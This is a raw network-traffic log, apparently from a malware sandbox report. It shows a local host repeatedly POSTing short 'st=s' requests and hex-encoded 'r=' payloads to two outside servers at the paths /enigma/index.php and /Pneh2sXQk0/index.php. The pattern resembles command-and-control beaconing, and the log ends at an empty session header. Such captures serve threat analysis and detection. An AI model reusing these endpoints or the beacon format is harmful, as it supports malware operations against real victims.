Apr 19, 2024 03:36:57.762088060 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:58.015448093 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1524	192.168.2.5	51380	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:57.838288069 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:58.086596966 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1525	192.168.2.5	51381	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:58.338505030 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:58.591551065 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1526	192.168.2.5	51382	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:58.351716995 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:58.599088907 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1527	192.168.2.5	51383	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:58.852525949 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:36:59.106630087 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1528	192.168.2.5	51384	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:58.913249016 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:59.159167051 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1529	192.168.2.5	51385	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:59.408163071 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:36:59.657711983 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1530	192.168.2.5	51386	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:59.447603941 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:36:59.693651915 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:36:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1531	192.168.2.5	51387	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:59.945117950 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:37:00.196602106 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1532	192.168.2.5	51388	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:36:59.974358082 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:37:00.217288971 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1533	192.168.2.5	51389	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:00.469324112 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:37:00.721677065 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1534	192.168.2.5	51390	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:00.527087927 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:37:00.775468111 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1535	192.168.2.5	51391	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:01.028166056 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:37:01.278172970 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1536	192.168.2.5	51392	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:01.039562941 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:37:01.285864115 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1537	192.168.2.5	51393	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:01.539577961 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:37:01.788717985 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1538	192.168.2.5	51394	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:01.611449003 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:37:01.865340948 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1539	192.168.2.5	51395	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:02.111525059 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:37:02.358840942 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1540	192.168.2.5	51396	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:02.113893032 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:37:02.354775906 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1541	192.168.2.5	51397	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:02.608176947 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:37:02.861437082 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1542	192.168.2.5	51398	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:02.701699972 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:37:02.951081991 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1543	192.168.2.5	51399	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:03.178983927 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:37:03.424249887 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1544	192.168.2.5	51400	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:03.198858976 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:37:03.447966099 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1545	192.168.2.5	51401	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:03.683476925 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:37:03.939481974 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1546	192.168.2.5	51402	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:03.785914898 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:37:04.029108047 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1547	192.168.2.5	51403	193.233.132.56	80

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:37:04.252887011 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:37:04.493298054 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:37:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1548	192.168.2.5	51404	193.233.132.167	80

Timestamp	Bytes transferred	Direction	Data
